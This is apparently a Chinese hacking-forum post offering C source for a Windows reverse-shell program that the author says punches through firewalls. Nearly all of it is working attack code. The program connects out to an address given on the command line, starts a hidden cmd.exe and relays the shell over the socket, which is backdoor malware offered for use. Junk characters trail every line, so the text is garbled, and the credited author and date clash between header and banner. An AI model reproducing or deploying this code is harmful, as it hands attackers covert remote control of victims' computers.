这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -NHc~=m
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/* ============================== 0c
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Rebound port in Windows NT K+2<{qwh
By wind,2006/7 [3}m|W<
===============================*/ l/#;GYB]
#include 0LeR#l:I
#include 4ZSc'9e9
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#pragma comment(lib,"wsock32.lib") IP9mv`[
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void OutputShell(); (TgLCT[@T
SOCKET sClient; tg.[.vKs
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :$L^l{gT
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void main(int argc,char **argv) <$qe2FtUq
{ ^yyL4{/
WSADATA stWsaData; !^:b?M
int nRet; 'QeCJ5p]
SOCKADDR_IN stSaiClient,stSaiServer; ,l1A]Wx
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if(argc != 3) !.Eua3:V*
{ MV'q_{J
printf("Useage:\n\rRebound DestIP DestPort\n"); h3[^uYe
return; f#FAi3
} bXmX@A$#Io
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WSAStartup(MAKEWORD(2,2),&stWsaData); N7=lSBm
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MZZEqsD5[
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stSaiClient.sin_family = AF_INET; Nb(c;|nV
stSaiClient.sin_port = htons(0); !?#B*JGFS
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); CD]"Q1
t}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) PFq1Zai}n|
{ iGlg@
printf("Bind Socket Failed!\n"); 14Y_ oH9
return; {(Jbgsxm
} ae_Y?g+3
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stSaiServer.sin_family = AF_INET; NGIt~"e7R4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `n)e]
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d< j+a1&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QMwrt
{ (#KSwWo{ed
printf("Connect Error!"); (JenTL`%u
return; rvfS[@>v
} 76epkiz;=
OutputShell(); 5 6w6=Is
} 40h
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void OutputShell() {8p<iY- %
{ >h)D~U(H
char szBuff[1024]; N5_`
SECURITY_ATTRIBUTES stSecurityAttributes; GO4IAUA
OSVERSIONINFO stOsversionInfo; )d(F]uV:y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %La<]
STARTUPINFO stStartupInfo; :O)\+s-
char *szShell; q#D-}R_RN
PROCESS_INFORMATION stProcessInformation; 5NGQWg
unsigned long lBytesRead; X/Sp!W-H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e\)r"!?H`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aNUU' [
stSecurityAttributes.lpSecurityDescriptor = 0; 8/gA]I
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stSecurityAttributes.bInheritHandle = TRUE; )@(IhU)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t9l]ie{"o.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $Iz *W]B!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @3*S:;x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -qyhg-k6
stStartupInfo.wShowWindow = SW_HIDE; G'#Uzwo
stStartupInfo.hStdInput = hReadPipe; db*yA@2Lg
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ExKyjWAJ
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GetVersionEx(&stOsversionInfo); Nhf@Y}Cu
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switch(stOsversionInfo.dwPlatformId) NdxPC~Z+
{ 6K7DZ96L
case 1: pGRk
szShell = "command.com"; K&4FFZ
break; 3kzO
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default: .RW&=1D6
szShell = "cmd.exe"; z"%{SI^
break; zu_bno!
} _9f7@@b
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TGDrTyI?y
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send(sClient,szMsg,77,0); nixIKOnjC
while(1) S\M+*:7
{ KOhK#t>H@0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); awB+B8^s
if(lBytesRead) U%rEW[ j
{ .+)
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7TW&=(
send(sClient,szBuff,lBytesRead,0); e+~@"^|
} q:cCk#ra
else -JfqY?Ue_2
{ ~e<^jhpJ
lBytesRead=recv(sClient,szBuff,1024,0); {[pzqzL6
if(lBytesRead<=0) break; J7pF*2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]xxE_B7
} FJD;LpW
} 'ws@I?!r
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return; ]bP1gV(b-
}